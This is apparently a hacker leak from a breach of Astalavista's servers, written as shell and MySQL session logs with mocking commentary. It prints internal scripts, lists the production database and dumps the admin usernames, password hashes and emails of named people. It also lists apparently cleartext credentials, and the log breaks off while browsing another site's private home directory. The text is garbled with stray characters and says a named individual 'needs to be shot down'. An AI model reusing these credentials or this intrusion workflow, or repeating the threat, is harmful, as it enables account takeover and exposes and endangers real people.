: Y2 \. v- o7 Y <title>ASTALAVISTA.com - Exploits</title>: C9 u& x2 p$ T- N$ C6 N8 \4 q
<link>http://www.astalavista.com/exploits</link>) a1 O8 F- @* [8 h1 a0 T% u
<description>All availably Exploits.</description>$ C# k' W/ ^5 l( l9 X1 q
<language>en-us</language>5 o8 h. w6 o, G
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
/ G3 _7 p7 D" X7 t5 T% ~" I; ?1 r$ V <docs>http://blogs.law.harvard.edu/tech/rss</docs>
7 w: r0 K0 Y% Y; \ <generator>Astalavista.com</generator>3 `( s* K' K9 ~6 D3 R
<webMaster>info@astalavista.com</webMaster>’ . $items . ‘
0 h1 |! m8 T$ k0 f7 `! m2 \" L3 T l </channel>
1 K8 Q4 [- h) @! s7 L# N. u- z</rss>’;$ l7 F, z8 I4 F( k4 q0 Q
" L D( p1 v- r( a* T+ T
if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {! M9 B* l- M7 B$ z. o) a& m1 E0 G. w
unlink (FULLPATH . ‘/feed/exploits.xml’);
+ ?# X0 b/ t' U, U% x }, Q& U2 s$ A: t J& w/ f" G
9 }$ O/ l4 F, x: i
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
: z; W- K" o5 u, v' |" A[snip]8 v! R! H' L" |' ?
# V) f% V" j: D+ o
sh-3.2$ cat exploits.sh6 M4 b* P/ g" E/ w
#!/bin/sh
" B( d* ^1 Z2 E1 x7 s! A8 j& d9 m5 B: t/ F/ O( c: P
###########################################################
2 ]% f8 @* s0 K; Q; ]7 S) |# #8 ]7 D$ n9 M0 L2 X9 q9 y+ H5 [" _
# Title: milw0rm exploits adder # K/ a& p8 ^: x- f0 e
# Description: Add all milw0rm exploits to the #
; z: k' z* m9 g6 z2 E7 Q( G. u# Astalavista.com database #
1 k! g! U7 Z3 H# #6 T% R, c" ?, _% N- k: k, [
# Company: Astalavista Group #( _ D/ O% a4 T+ F; t
# Author: Paulo M. Santos #. h4 u6 T: f; I4 U# v, D6 G8 L
# E-Mail: 链接标记paulo.santos@astalavista.ch #/ x, j- h& k& g: G, ]! |
# #
! G$ f4 ~/ C: P4 C7 t6 D4 u) p# ^###########################################################
5 n2 X: {7 Q+ y, i* k b
1 a/ L, k- f) H) l9 @. j# path
7 \! K& m2 ]+ b7 G$ B" jthis_path=/home/com/public_html/modifications/cronjobs* o# n, d& K5 c* \
. E2 x6 n8 o* z) U& F* L. r) y# change directory
, l$ h8 P( f( n) p( W& Fcd $this_path( U7 m: n/ v+ ^9 P) A
cd tmp/
# m, n, | P( i% ?1 w2 X8 `6 }$ i2 w9 Z
# delete files0 a. B0 f# |2 `
rm -rf milw0rm.tar.* &
- ]. @6 n& ?) A4 hrm -rf milw0rm/ &
8 z/ `# p+ @/ P- W# ?3 h8 z
# ?8 U( P2 |2 ~# X3 w( {3 _0 q# wget milw0rm paket
# D- v; O4 u$ i1 A% v9 owget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]7 u: T) |" G1 t7 E- }) y
1 f# \/ }2 ]: x& R, b+ w. r C
# extract milw0rm paket9 G4 A8 M! [; k4 J. V
tar -xvf milw0rm.tar.bz2
' y3 e* U4 m2 C2 U7 E, w) P7 k, q |: u& \
# change owner# L, O+ h$ k! y( F
chown -R com .1 b( i2 v- t: V2 ]3 o
chgrp -R com .
- d" b+ v5 \8 z1 @) r) Y! s0 \- Z" n
# execute php script
) c/ }7 D# b$ ]8 n9 t+ acd $this_path
- l+ q9 Q L5 e4 N& i. X' E* \, Pphp -q exploits.php
) ?/ G, B7 h, x7 q# c& p. |5 a0 U# r5 h" |: Q& ]
# delete files
\! L( Z R9 Y6 i/ f' hrm -rf tmp/milw0rm.tar.*- y8 `+ O7 l: T9 M. {0 y( q
rm -rf tmp/milw0rm/
/ l$ N; t' @& `( |" m
! V! Y/ H2 C, ?: j% y5 Ysh-3.2$ echo “Paulo M. Santos needs to be shot down.”
" i( q0 w6 ^6 N! {; k+ uPaulo M. Santos needs to be shot down.
8 y; M* J4 Y0 F# t2 z+ k' _* a3 f7 H* G/ }3 h& g
mysql -u contrexxuser2 -p7 g* U. U: G* d4 z( B' l4 u/ R5 t
Enter password:& l. x( |6 n/ U, e- p; `
Welcome to the MySQL monitor. Commands end with ; or \g.& b B7 E2 Q! ?0 @8 M2 ]
Your MySQL connection id is 261694# E: e. p* g3 q$ p3 O
Server version: 5.0.45-community-log MySQL Community Edition (GPL)9 r5 ? R9 e5 d
% o4 [3 o, F" j3 F' }/ H1 R3 WType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer./ e! v: F* k* y6 f0 S! J
; _$ o* {- c8 W" ~5 c$ A" @1 f7 R& @
mysql> show databases;
5 W! G5 y7 b' M! N' K, A8 v2 u5 ?; T+——————–+2 h9 o1 Y& F# g; y# U( e
| Database |, i) x$ \. ^; Q: n1 o- v4 l c
+——————–+' g6 t. q2 L5 J/ S
| information_schema |5 ~- d+ m, ~' a. ]$ N
| com_contrexx2 |
* m& Y" K# J7 O& \, ?9 |: D1 g| com_contrexx2_live |( A4 Y! U: b1 K4 c4 }4 U$ x
| test |0 l. V0 T3 Q% T' U1 j- z) @
+——————–+
, h8 p8 }" ?) b, N4 rows in set (0.00 sec)( I( G0 z) E4 Y4 @2 q
% X6 n6 `2 U! x: l0 S/ n7 x
mysql> use com_contrexx2_live
, r# W! s/ Z" a9 A1 n0 X& ]Database changed
& Z& M, Z' x o! pmysql> show tables;, }4 i) x1 O' r* s' ?6 \3 _
+————————————————–+
3 s8 i6 \4 G1 b0 \| Tables_in_com_contrexx2_live |
! M, @7 }& K3 Z! O+————————————————–+# R# d1 B% I0 M, G+ E' j
| cc_banner_counter |
4 w# b2 u7 p( j6 z3 a: Q| cc_search_counter |
) [+ q3 l4 L L0 b| contrexx_access_group_dynamic_ids | ^4 O# |4 }8 o7 l( p- j+ P& c
| contrexx_access_group_static_ids |8 `8 R1 ^1 c: o4 j: j9 X5 \4 e4 @
| contrexx_access_rel_user_group |
4 H9 f3 _1 G% A, W| contrexx_access_settings |- u& {( L. k8 |" n1 p
| contrexx_access_user_attribute |
( y4 e0 E% O, H9 e% V/ r| contrexx_access_user_attribute_name |
$ B0 N( Z& Y/ \- w5 P7 X, A5 h2 ~| contrexx_access_user_attribute_value |) ~ \! U; A; y1 c+ R1 U! Z
| contrexx_access_user_core_attribute |
9 J) S1 i& q8 c0 W9 c7 `| contrexx_access_user_groups |
: T9 M4 o8 E `! ~9 V+ A5 d0 v| contrexx_access_user_mail |+ w: z7 t4 l) ^
| contrexx_access_user_profile |, r! V% C' Q, E3 ~) W
| contrexx_access_user_title |
# N% A9 W$ d, l S- g9 ]! S| contrexx_access_user_validity |: c ?" n ?; S9 l* N# |
| contrexx_access_users |7 @. |2 x. f7 M% ~
| contrexx_backend_areas |
6 Q3 s/ @6 s2 V| contrexx_backups |' h8 W- z" E/ I4 j; N; v" _8 B
| contrexx_content |# i3 ~8 [, m. V- z$ P
| contrexx_content_history |
0 q* D3 U- T6 w' w| contrexx_content_logfile |
. p1 H, n+ J }! F: M& O( T| contrexx_content_navigation |% V7 h4 Q- G1 b) D
| contrexx_content_navigation_history |
n6 B2 J4 D) P3 _6 s7 w1 |* K| contrexx_ids |
" j" ~$ \- y: D1 {. D4 Z8 B| contrexx_languages |3 A$ h6 b+ [2 x- e, Y L
| contrexx_lib_country |
& E3 r/ V4 E- f( || contrexx_log |
; l1 o; }- M2 Q: r| contrexx_module_alias_source |: p8 o+ q1 G% N) C
| contrexx_module_alias_target |. }' h ]# ^2 |7 x
| contrexx_module_block_blocks |5 V6 \+ [# ~/ J
| contrexx_module_block_rel_lang |
/ ?. _8 P( y# V9 q( L* q| contrexx_module_block_rel_pages |
; q# C9 b1 c" K: w* i1 ~| contrexx_module_block_settings |
! C8 b& _' [7 ?| contrexx_module_blog_categories |3 C8 ]% D" `9 l, L( A, T6 ?
| contrexx_module_blog_comments |
5 B4 w# H S/ Z( n% _ Q7 m0 ]| contrexx_module_blog_message_to_category |
' ~% `7 ]9 f( H$ h A3 V! y) W| contrexx_module_blog_messages |+ t0 P8 \ J# T
| contrexx_module_blog_messages_lang |- f' r* q7 W( C( V% m5 N
| contrexx_module_blog_networks |$ T' f7 A! P5 S. |
| contrexx_module_blog_networks_lang |) d: D/ {9 v; T
| contrexx_module_blog_settings |; F' A% w0 m3 @5 P; j2 X+ Y
| contrexx_module_blog_votes |# P9 a8 g, ]6 q/ {
| contrexx_module_calendar |9 o* f2 E& [- v: T4 z
| contrexx_module_calendar_access |6 R w3 ?" ^+ j+ o* A3 O
| contrexx_module_calendar_categories |! Z1 g, P( W4 c: H! ]
| contrexx_module_calendar_form_data |
7 F- \5 A' y2 f| contrexx_module_calendar_form_fields |2 P7 [$ X! o$ {$ h7 R1 J2 B9 g
| contrexx_module_calendar_registrations |
0 ~- S* h0 O+ d| contrexx_module_calendar_settings |
/ `" ]4 q" n$ Q X. ?| contrexx_module_calendar_style |. ~1 k: H2 w: P5 ^1 L t6 e+ I' m
| contrexx_module_contact_form |8 {+ ~2 C% \5 m& |
| contrexx_module_contact_form_data |. c+ M$ e" o- G0 i: v4 q. g1 Q
| contrexx_module_contact_form_field |
7 P! S+ V0 l6 \| contrexx_module_contact_settings |* y. C+ Q/ k7 Y$ O
| contrexx_module_data_categories |. y1 K8 f. t( {, w) m
| contrexx_module_data_message_to_category |
o* n; {, z' H" \. I+ h4 m| contrexx_module_data_messages |
( l5 A$ I5 E4 e0 S" i9 N% G: R1 j| contrexx_module_data_messages_lang |
+ R+ U! x2 R: B2 \" M7 I| contrexx_module_data_placeholders |
1 n" F4 z1 O- {5 W| contrexx_module_data_settings |
- W5 y1 W! K4 b8 ~: e| contrexx_module_directory_access |
' V% H- J2 `! ^0 E, |" X+ r! A| contrexx_module_directory_categories |8 K2 z3 x. \+ Y* a3 R
| contrexx_module_directory_dir |
) F* r2 z, i x- D| contrexx_module_directory_inputfields |- ~5 K6 Z+ W. `$ T9 S
| contrexx_module_directory_levels |
* @( S7 D, x+ m" ]' `| contrexx_module_directory_mail |
# u& S$ _( `8 B1 N& W8 `| contrexx_module_directory_rel_dir_cat |
/ N6 K0 u* H; I4 @- L( B| contrexx_module_directory_rel_dir_level |- N$ p/ u8 H4 c; e: k
| contrexx_module_directory_settings |8 h2 r: [6 e$ k" b' n
| contrexx_module_directory_settings_google |/ q& i# q& y0 Z, R- i" o1 e. T8 U8 Z/ f
| contrexx_module_directory_vote |
9 ?1 b: o$ g. i2 w6 R| contrexx_module_docsys |
; C* A: J" I7 H1 K2 S7 p, L) \4 l| contrexx_module_docsys_categories |
4 Y( `/ o: S: |- q5 || contrexx_module_egov_configuration |
4 a9 p @9 c6 h| contrexx_module_egov_orders |
) h5 K7 d3 _% y% u7 I# `- k+ n9 r# A| contrexx_module_egov_product_calendar |$ W, u) ?7 D" O7 t" j
| contrexx_module_egov_product_fields |
# J& @ p& h: y' _ E* K2 r' || contrexx_module_egov_products |! C$ l3 k, Y" P* |" W" l
| contrexx_module_egov_settings |
: ?& ?0 ^3 G/ w/ _- h4 R| contrexx_module_exploits |# K X! ?/ y3 u% _+ a2 q u
| contrexx_module_exploits_categories |
3 |5 j8 ]! @5 G! z H( F6 B0 ^| contrexx_module_feed_category |0 V) ?5 G& h6 Z' ]" i( q( L o' S
| contrexx_module_feed_news |9 Z2 V8 `2 {5 q7 S( M
| contrexx_module_feed_newsml_association |5 R% A8 D$ `' k2 A2 G$ _
| contrexx_module_feed_newsml_categories |
$ l. e% b8 t- H| contrexx_module_feed_newsml_documents |
2 h9 [) E- Q4 E$ ~# z* c| contrexx_module_feed_newsml_providers |
: _! v. o Y: z- e; s4 `% l| contrexx_module_forum_access |8 R# |# l1 _) g6 \5 d+ D0 f
| contrexx_module_forum_categories |
! T, P4 P7 n% \) P& f| contrexx_module_forum_categories_lang |
9 D! X+ {5 J' i* G$ L, S| contrexx_module_forum_notification |+ @: B6 u, \8 ]
| contrexx_module_forum_postings |
`4 i, B. S' [7 F; u$ z7 U| contrexx_module_forum_rating |/ o# b, {3 _/ ~
| contrexx_module_forum_settings |& R' ]- S7 q0 N$ H2 H n5 G
| contrexx_module_forum_statistics |! l6 O7 t T# {
| contrexx_module_gallery_categories |3 l: Q* d6 Y! y% {" C! h' U, L
| contrexx_module_gallery_comments |; _& d) d' D$ c+ T+ j8 U/ U7 M: \
| contrexx_module_gallery_language |8 H, n3 F& W2 [* s: A! H5 ~" Z( ~& d
| contrexx_module_gallery_language_pics |
1 E, A- s) L- l( M3 y! t| contrexx_module_gallery_pictures |
1 b7 \% g! f. p0 D" B, U| contrexx_module_gallery_settings |/ Y7 E2 f# k. c$ K* n
| contrexx_module_gallery_votes |' k8 J% L9 h5 u5 U6 h
| contrexx_module_guestbook |% m9 r) H& l1 Z6 S3 A8 C8 r3 t% X! t
| contrexx_module_guestbook_settings |
+ n$ b& u6 l0 t# o3 o8 t| contrexx_module_livecam |7 @4 Y( e9 _) K$ }
| contrexx_module_livecam_settings |
& Q& y9 Z. a4 T5 V5 z| contrexx_module_market |! f: t# x J- @# l, d4 j7 `; |
| contrexx_module_market_access |! m# D7 t7 n. R7 R$ J- \7 _' U
| contrexx_module_market_categories |( j% L0 O# C, W. f' U
| contrexx_module_market_mail |
+ c# J5 e: X5 N! l4 @8 ]% G0 U. u' f| contrexx_module_market_paypal |9 K6 d1 @0 s" I
| contrexx_module_market_settings |
- x" `# B' M3 g; a; Y| contrexx_module_market_spez_fields |/ x) @1 o4 l7 j! \
| contrexx_module_mediadir_access |
. U0 @, I; u& |, e$ ?| contrexx_module_mediadir_categories |
$ }! x+ s2 U i| contrexx_module_mediadir_comments |
7 q% S. z, U+ C1 J2 S| contrexx_module_mediadir_dir |
5 Q5 J& `% B6 i* f| contrexx_module_mediadir_inputfields |. T) k0 `' ~" Z7 e# a7 w, S
| contrexx_module_mediadir_levels |
% @4 K6 Q: x4 J+ Y" l4 ]$ k| contrexx_module_mediadir_mail |
9 n0 n2 B0 I; X| contrexx_module_mediadir_rel_dir_cat |
- I3 f' b" i( h| contrexx_module_mediadir_rel_dir_level |
: e" ]* [0 h, z% @8 r| contrexx_module_mediadir_reports |
, d5 \- S+ r! f! I+ f6 ?' [| contrexx_module_mediadir_settings |4 a# E$ @ E% h# a- `9 a2 q
| contrexx_module_mediadir_settings_google |
# g6 ~7 q* U. D3 s ~| contrexx_module_mediadir_vote |
" ]$ g" S7 O l1 G' Q; c5 H| contrexx_module_memberdir_directories |
4 i& H3 s/ ?% w- b2 S6 l| contrexx_module_memberdir_name |. {+ m0 f5 |# [1 o" W" Q) g% T2 g
| contrexx_module_memberdir_settings |
4 B+ P7 L! R- m| contrexx_module_memberdir_values |
* [: W* M5 W/ ]2 M: e" \( q& {| contrexx_module_nettools_allowed_groups |
# h/ R* X/ }5 p2 p2 C! ]. f| contrexx_module_nettools_settings |2 H2 X$ c. X' M/ L, x
| contrexx_module_news |% J4 c* \4 f# a' p7 y5 H
| contrexx_module_news_access |' A* }2 B& }3 V) k( y
| contrexx_module_news_categories |. |) A# A# F& m# r: @
| contrexx_module_news_settings |
3 S6 c1 j) h9 {0 N7 ~% ~| contrexx_module_news_teaser_frame | g8 ^8 G% ?1 z4 k* x' x. a/ S
| contrexx_module_news_teaser_frame_templates |
6 T1 \& V1 [! q$ k; Q; s% u| contrexx_module_news_ticker |0 f7 z! o8 G3 H8 B& f9 O* G
| contrexx_module_newsletter |
0 T% ?( C9 S* k) e* i. k* A| contrexx_module_newsletter_attachment |
7 D5 h; w% U1 O| contrexx_module_newsletter_category |
* Y) q6 r q$ Z$ A| contrexx_module_newsletter_confirm_mail |; t6 c9 n! i( f
| contrexx_module_newsletter_rel_cat_news |
+ ?& B, \5 {# w/ L- F7 j| contrexx_module_newsletter_rel_user_cat |
4 L! @4 h1 v7 U0 z+ l H7 V) B| contrexx_module_newsletter_settings |
% I/ C, q7 ^; K| contrexx_module_newsletter_template |- [; l. N) y7 v5 S b
| contrexx_module_newsletter_tmp_sending |
8 W( Z6 K$ T; v9 C# p5 D, ~" S| contrexx_module_newsletter_user |5 a- {/ y3 {! D4 F. f
| contrexx_module_newsletter_user_title |. d) p5 w& x, L7 ~
| contrexx_module_onlinetools_defaultports |( ^. D! @" m4 | Y/ P7 s
| contrexx_module_onlinetools_defaultports_back |! F7 E9 d, D6 B: l W5 t3 M& b( \
| contrexx_module_onlinetools_geolitecity_blocks |6 P0 w& W5 N$ O: o. l
| contrexx_module_onlinetools_geolitecity_country |
; I8 v0 o7 y- e0 G7 ^7 u9 k| contrexx_module_onlinetools_geolitecity_location |
5 U2 M: k( _6 }9 k| contrexx_module_podcast_category |3 R6 h: Q/ k' }
| contrexx_module_podcast_medium |
2 g9 i( D6 N$ C( ~| contrexx_module_podcast_rel_category_lang |
) ^- z5 N7 w1 r7 a& b4 |7 `8 @+ K| contrexx_module_podcast_rel_medium_category |2 p" P; l! ], Q1 u* H/ |* O
| contrexx_module_podcast_settings |
% Q) _) @& a9 N2 N& F7 p| contrexx_module_podcast_template |( q. W9 j" m& C* f
| contrexx_module_proxydb |4 r' A5 z' ^( j, I0 {
| contrexx_module_recommend |
( L ^8 e/ `6 j8 I$ e- p| contrexx_module_repository |
$ c7 r% l x. H! |- S$ x F3 O3 D| contrexx_module_securitynews_cats |! z# ?+ P5 x, i0 L T( O
| contrexx_module_securitynews_feeds |/ ~5 s' o$ o1 _* Q! g& T- Z
| contrexx_module_securitynews_news |
! B7 d$ f6 R9 d `% H2 V' p% }! h| contrexx_module_shop_categories |
, r" I) a' k# ^1 e# T. P1 O| contrexx_module_shop_config |
2 G$ }7 P% g- ~; [* y( Y- D& g| contrexx_module_shop_countries |7 V; c9 K4 m6 f6 {) }
| contrexx_module_shop_currencies |- K# R& i4 ?/ p. w
| contrexx_module_shop_customers |
1 ?3 T4 B3 U3 E2 E% Y$ G2 ^| contrexx_module_shop_importimg |+ x |0 ?( {/ I: v9 N' N6 _; m
| contrexx_module_shop_lsv |
- t. N9 {7 w$ R, c2 F+ q z. {| contrexx_module_shop_mail |/ f: G, J4 k! s" o$ p/ v# j, p& p0 X
| contrexx_module_shop_mail_content |
# Q: Q9 y. V- ]$ r, I| contrexx_module_shop_manufacturer |
. W1 W% P' z! ]8 a+ ~4 o% \2 y0 M| contrexx_module_shop_order_items |
i' a$ o% Q* n! z| contrexx_module_shop_order_items_attributes |, U6 `7 k: L2 X& b* p1 ]
| contrexx_module_shop_orders |
2 q* ?, A* J: || contrexx_module_shop_payment |
% U. `' m" e, u# v0 A7 Z| contrexx_module_shop_payment_processors |
3 i4 Y& @0 ]! r4 ^| contrexx_module_shop_pricelists |4 b7 M# _) n* o: E7 T
| contrexx_module_shop_products |; H& d. m1 Y2 ~1 X% ?( I b
| contrexx_module_shop_products_attributes |
! ~8 j( p- |7 e5 I6 O| contrexx_module_shop_products_attributes_name |
& A* v8 x! M( L% V+ |, D| contrexx_module_shop_products_attributes_value |
' g/ F; ~" x; B. `5 w2 y B| contrexx_module_shop_products_downloads |
- _. g- U: K( c3 W9 |! f! W& G| contrexx_module_shop_rel_countries |7 \% e- n$ z& n7 D
| contrexx_module_shop_rel_payment |% h2 ]9 @2 x/ k& w' D0 z' e
| contrexx_module_shop_rel_shipment |
; N0 m, S9 r7 u| contrexx_module_shop_shipment_cost |
& Y, h/ [2 c4 L| contrexx_module_shop_shipper |
! P& `4 x0 |! h6 x| contrexx_module_shop_vat |' m2 M, f x& d( w; D
| contrexx_module_shop_zones |: U3 x$ h6 A! x g
| contrexx_module_u2u_address_list |/ i& E! I7 B. L4 Z
| contrexx_module_u2u_message_log |& o# C( g2 O" L2 P, L( N5 @6 V0 i
| contrexx_module_u2u_sent_messages |2 ?9 S& ?' M" ]2 T* H$ P. i, p" ~ p
| contrexx_module_u2u_settings |, T+ R; M3 u7 U" z0 O) R
| contrexx_module_u2u_user_log |0 \) j" j& x1 s# ~
| contrexx_modules |
8 _; \5 Z& d! v1 t" }/ R6 C| contrexx_sessions |
+ ^1 L1 A8 ~4 x) r| contrexx_settings |/ r) }6 A Z4 f( R& \. Y4 d" I: A
| contrexx_settings_smtp |- T9 F' h, E- H- }
| contrexx_skins |
% R* ]1 Y. W8 S( z! K I2 ?| contrexx_stats_browser |; S$ ^$ v( ]+ M8 i3 N3 f% O
| contrexx_stats_colourdepth |
0 G6 I: d" i: i/ S$ Y! v| contrexx_stats_config |
- f* Y9 S) H+ Q! E( y| contrexx_stats_country |
. b0 `; q, E5 ~7 Q1 Q" A o" t' ^| contrexx_stats_hostname |
! T9 r' A) [. R# E| contrexx_stats_javascript |
$ N1 H: `! e. L% F7 U| contrexx_stats_operatingsystem |& p, B6 c7 d6 v: e. f
| contrexx_stats_referer |
: {* ?& {+ w" t2 p, C0 {9 i8 I| contrexx_stats_requests |' ?5 s, C7 e1 Z& { ~
| contrexx_stats_requests_summary |
/ V* O" m0 F u3 E1 o| contrexx_stats_screenresolution |/ j& y# x% `% e% ?$ M5 Q7 {
| contrexx_stats_search |6 U3 d/ C- g2 L6 Q1 ~. W' O3 _/ K
| contrexx_stats_spiders |
# b- l1 }; I+ E& ^& N0 H| contrexx_stats_spiders_summary |6 r- W( G9 H6 G R* \8 e: Z9 k0 ]
| contrexx_stats_visitors |6 b3 K2 X- j# T1 B r5 u
| contrexx_stats_visitors_summary |
g; A# R0 W, g2 j: ~| contrexx_voting_additionaldata |
/ {. d! y4 r8 `1 Z| contrexx_voting_email |
4 C+ t5 V _; Z" {& E| contrexx_voting_rel_email_system |
6 u5 u& @# N2 A/ G& g| contrexx_voting_results |, _% d8 t0 d: t. t
| contrexx_voting_system |
8 @& s. o4 ^" |1 y% a& X| foo |
/ `& r4 q: N* l6 f) K+————————————————–+
: ?" H7 i$ q4 c# H0 s8 Y. ^ R227 rows in set (0.01 sec)
. s7 y' N3 K1 M4 X1 f2 h
" Q! \2 ~( l; x+ h5 Amysql> select count(*) as skids from contrexx_access_users;
) z4 u. ]! M1 P4 u+——-+
: x( p8 W3 i. i" m% M| skids |$ z7 \: i C- d9 a5 b! @- [
+——-+, f7 d8 N" O# Q
| 53699 |6 N& U+ J4 @2 A
+——-+1 ~# r. j4 j: `
1 row in set (0.00 sec)
! }: e2 @' v$ o. N
- o1 b1 q7 g+ i$ X7 K. S4 a' ]mysql> describe contrexx_access_users;( @( ^) }- h# ]& M$ D& m9 Q
+——————+——————————————+——+—–+————–+—————-+! a3 s6 }' |3 a- V. Z& D
| Field | Type | Null | Key | Default | Extra |
p- _) @7 k% p* ~- v+——————+——————————————+——+—–+————–+—————-+* q' O8 U$ L2 ~8 V+ T7 |
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |2 L$ S$ |4 \8 O$ ]1 K
| is_admin | tinyint(1) unsigned | NO | | 0 | |( o" v/ Y5 X3 ?& a+ e
| username | varchar(40) | YES | MUL | NULL | |* @3 o% I) J9 M* q6 V
| password | varchar(32) | YES | | NULL | |5 s3 j2 Y* i) G; H' B: W& k
| regdate | int(14) unsigned | NO | | 0 | |8 _) W' N) G; v+ M1 U n
| expiration | int(14) unsigned | NO | | 0 | |
' c9 l; [! h$ d p( B| validity | int(10) unsigned | NO | | 0 | |
) O% j2 q4 @4 x! T0 Z8 ~| last_auth | int(14) unsigned | NO | | 0 | |
/ W+ J" m* v8 s2 n8 _| last_activity | int(14) unsigned | NO | | 0 | |
/ H5 z: A0 ]1 ], G$ K& n' C| email | varchar(255) | YES | | NULL | |. w- A2 `+ I$ g' D# s& E0 Z
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |% w0 K& I& ?% @1 x) P7 D4 F" J2 |
| frontend_lang_id | int(2) unsigned | NO | | 0 | |; r7 f# C m% o' @, Z: Y
| backend_lang_id | int(2) unsigned | NO | | 0 | |
+ y1 r, I* \$ `* F| active | tinyint(1) | NO | | 0 | |
0 v6 y1 l7 y8 D: v3 o| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
7 ^' }9 d9 A1 t! a( q! P* M- ]| restore_key | varchar(32) | NO | | | |" A* S+ X& [* m. j9 T/ R) I
| restore_key_time | int(14) unsigned | NO | | 0 | |
; `6 a6 A1 X5 e. G3 \: x& U| u2u_active | enum(’0′,’1′) | NO | | 1 | |0 r+ k) a# q3 P* b
+——————+——————————————+——+—–+————–+—————-+0 B( |; ]" g4 p& @- o4 u- y1 `
18 rows in set (0.00 sec)
j# ]9 V( m2 t1 v' |% o" G% `2 U
5 }% H! d) C2 Z4 k" O; Rmysql> select username,password,email from contrexx_access_users where is_admin = 1;9 R: J+ u7 g5 A- _9 q- j: [, G
+————+———————————-+—————————–+' F, P% g7 K* ]. B9 |1 _
| username | password | email |& D. ^3 t0 @' c4 |
+————+———————————-+—————————–+$ c" h2 K$ I* [& W
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |, H% P& N! V' m) J' {! i1 O
| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |* S" [2 [* v5 I
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |3 [; L0 k* {( Y& @6 p( }
| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |. s8 _, \5 S, p; P6 s
+————+———————————-+—————————–+
3 U: R/ m9 Q" w" R* \1 g" n4 rows in set (0.04 sec)
& ] V1 m, u7 A; c) P- t2 [2 h8 q
. y2 a" t. A0 F" qmysql> exit;. o- t; Z& ^* Z( I& S! A
Bye
- g2 D4 e; F- J6 g; e! B& @: K
1 w& F3 c% A4 k+ g) y0 ?3 {[~] There you go, your “team of security and IT professionals” is a joke.2 [& v* l7 ]3 G4 V7 ]/ s
* a6 T% V1 F$ z2 e3 K4 E
+——————————+
! q. W+ Y2 m0 A0 |* D! @2 hsystem:f82BN3+_*
2 a7 n% |! T! D, m5 N4 ]Be1er0ph0r:belerophor4astacom P8 }. @9 K2 {" I+ k
prozac:asta4cms!5 z9 j, G* F8 b* ~: q7 ^
commander:mpbdaagf6m9 [; ?% u1 n. P* k1 S; Q/ j
sykadul:ak29eral5 Y) r9 j' I8 M9 i/ h* w$ e
+——————————+, a0 E& I8 i1 L- h2 @( Z
3 U9 V6 u Z! I$ h2 v) [7 z4 M& a[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)* ~5 Y9 ]" G9 U
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.
" Y' a3 o. @ n' k K4 D8 C; U/ h3 ]9 ] u% m) d. j
[~] Lets move to astalavista.net now,
) {; S5 ~1 O0 p4 R- v3 c9 R: z& v0 n5 m8 A2 W
From <链接标记[url]https://www.astalavista.net/[/url]>:6 q* l" `* u) h' V n
>> Everyone knows that the best defense is a good offense.
, N: a( X/ M$ ^5 S" l% `5 y3 U& s>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.% K. \4 R7 B. ~2 J; p: s2 g
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
# o! f% B/ s! e7 y7 y2 k+ U4 x>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
5 x ?! _8 z) n1 J M1 E6 z, `' n" f
>> Go ahead, try and hack our server . in a completely legal way!* `/ E7 R7 s ^
>> Learn by doing: We offer our members tricky tasks and challenges on an% R# ^8 L$ l- P$ q- h/ b1 N8 o
>> ongoing basis so you can test your knowledge and abilities. You can also
- H- f: G! O6 d( p9 x9 t$ W>> demonstrate what you.ve mastered by taking part in regular hacker contests
/ z* r) Z z# j5 G: d>> and war games* P* F' Q& }( h
- J: ^5 a C+ |[~] Lets take a look there, after all… they are hack-proof, aren’t they?!+ Z3 |. Z1 `( D0 p8 R7 E, f1 v1 j0 K
! b! |. [0 _( V3 b[-] Tricky task: Find home dir of astalavista.net
: `# u" s% O0 \! z) G/ U' L9 n/ ]2 U1 y/ G& C7 [" Y5 a4 K
sh-3.2$ ls -la ~astanet/ w* h; I/ o0 F( b/ C
total 48
& i; h1 b1 P& ?2 [drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
# U! P( }. n. y5 `7 wdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
) M) X0 |6 l( a$ Hdrwxr-xr-x 2 root root 4096 Dec 23 16:00 auth( t- D/ F: B/ J0 u
-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
. ]$ t+ s' t4 {7 @+ Q-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout4 t/ T7 e) c+ b: \
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile# n; B' ^, x( B9 ?8 t8 D, h0 c
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc) n& B2 H2 z" g) a% w
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains, l- P$ j1 W. O" E, W; ]
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap* T# R5 n% n9 J4 N' R
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
0 r/ O0 @0 w0 M4 g3 E; O/ i' w; Ilrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html8 E3 U- n! c. B+ V. j
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow/ q0 _# g' K' I* E' \' B% \. u
' \4 e, F; w3 j& N' |2 V* {
sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
9 z) w# `4 J1 a/ x3 G0 Gsh-3.2$ ls -la
( h( _- {. e# G- {5 {total 200# d1 j0 S. `& Y
